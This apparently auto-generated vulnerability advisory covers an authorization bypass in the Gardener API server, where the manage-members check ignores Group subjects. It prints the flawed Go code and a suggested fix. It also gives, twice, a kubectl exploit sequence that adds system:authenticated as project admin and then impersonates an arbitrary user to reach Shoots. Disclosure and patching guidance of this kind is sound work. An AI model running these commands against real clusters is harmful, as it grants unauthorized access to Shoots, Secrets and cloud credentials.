Gardener API Server, manage-members Authorization Bypass, CVE ID: Not Provided (Critical) -DC-Sep2026-2528

Listen to this Post

The Gardener API server customverbauthorizer admission plugin checks manage-members.
The check is documented for human users or groups.

The implementation only gates User-kind subjects.

Group subjects are not matched by isHumanUser().

ServiceAccount subjects can also be added as Group or ServiceAccount.

A project admin without manage-members can patch .spec.members.

They can add Group kind subjects.

Example Group: system:authenticated.

That grants all authenticated users project admin.

The mustCheckProjectMembers() function compares old and new members.

It uses findHumanUsersWithRoles().

findHumanUsersWithRoles() filters with isHumanUser().

isHumanUser() returns true only for Kind == “User”.

It excludes service account username prefix.

Kind == “Group” returns false.

Therefore Group member changes are invisible to authorization.

The documented behavior says human users or groups.

The code only enforces User changes.

A project admin can add or remove Group members freely.

They can add system:authenticated.

Any authenticated user gets project access.

Impersonation with –as is treated as authenticated.

The system:authenticated group is automatically added.

A non-existent random user can then access Shoots.

The project admin lacks manage-members but can still patch.

The patch succeeds because check skips Group.

test-admin-user is forbidden for User member.

test-admin-user is allowed for Group member.

Impact includes unauthorized access expansion.

Fix isHumanUser() to include Groups.

Rename to isNonServiceAccountSubject().

DailyCVE Form:

Platform: Gardener API server
Version: Not provided
Vulnerability: Authorization bypass
Severity: Critical
date: Not provided

Prediction: Patch date unknown

What Undercode Say:

Analytics:

kubectl get project local -o yaml

kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=admin-user

kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=test-admin-user

kubectl patch –as=test-admin-user project local –type=merge -p ‘{

“spec”: {

“members”: [

{

“kind”: “User”,

“apiGroup”: “rbac.authorization.k8s.io”,

“name”: “[email protected]”,

“role”: “viewer”

}
]
}

}’

kubectl patch project local –as=test-admin-user –type=json -p ‘[

{

“op”: “add”,

“path”: “/spec/members/-“,

“value”: {

“kind”: “Group”,

“apiGroup”: “rbac.authorization.k8s.io”,

“name”: “system:authenticated”,

“role”: “admin”,

“roles”: [“admin”]

}
}

]’

kubectl get project local -o yaml

kubectl –[email protected] get shoots -n garden-local

func mustCheckProjectMembers(oldMembers, members []core.ProjectMember, owner rbacv1.Subject, userInfo user.Info) bool {

if apiequality.Semantic.DeepEqual(oldMembers, members) {

return false

}

if userIsOwner(userInfo, owner) {

return false

}

var oldHumanUsers, newHumanUsers = findHumanUsersWithRoles(oldMembers), findHumanUsersWithRoles(members)

// …

return !oldHumanUsers.Equal(newHumanUsers)

}

func isHumanUser(subject rbacv1.Subject) bool {

return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)

}

func isNonServiceAccountSubject(subject rbacv1.Subject) bool {

if subject.Kind == rbacv1.GroupKind {

return true

}

return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)

}

Exploit: (Educational Purposes!)

kubectl get project local -o yaml

kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=admin-user

kubectl auth can-i manage-members projects.core.gardener.cloud/local –as=test-admin-user

kubectl patch –as=test-admin-user project local –type=merge -p ‘{

“spec”: {

“members”: [

{

“kind”: “User”,

“apiGroup”: “rbac.authorization.k8s.io”,

“name”: “[email protected]”,

“role”: “viewer”

}
]
}

}’

kubectl patch project local –as=test-admin-user –type=json -p ‘[

{

“op”: “add”,

“path”: “/spec/members/-“,

“value”: {

“kind”: “Group”,

“apiGroup”: “rbac.authorization.k8s.io”,

“name”: “system:authenticated”,

“role”: “admin”,

“roles”: [“admin”]

}
}

]’

kubectl get project local -o yaml

kubectl –[email protected] get shoots -n garden-local

Protection: from this CVE

func isNonServiceAccountSubject(subject rbacv1.Subject) bool {

if subject.Kind == rbacv1.GroupKind {

return true

}

return subject.Kind == rbacv1.UserKind && !strings.HasPrefix(subject.Name, serviceaccount.ServiceAccountUsernamePrefix)

}

Use isNonServiceAccountSubject() in mustCheckProjectMembers().

Match documented behavior for human users or groups.

Gate Group member changes.

Gate ServiceAccount member changes.

Audit Project .spec.members for Group subjects.

Audit Project .spec.members for ServiceAccount subjects.

Restrict manage-members to owner or uam role.

Deny system:authenticated additions.

Deny system:unauthenticated additions.

Impact:

Unauthorized access expansion.

A project admin can grant project-level access to any Kubernetes group.

system:authenticated grants all authenticated users.

system:unauthenticated grants all unauthenticated users.

Project admin without manage-members can escalate.

Full access to Shoots, Secrets, and cloud provider credentials.

Non-existent impersonated user gains admin access.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top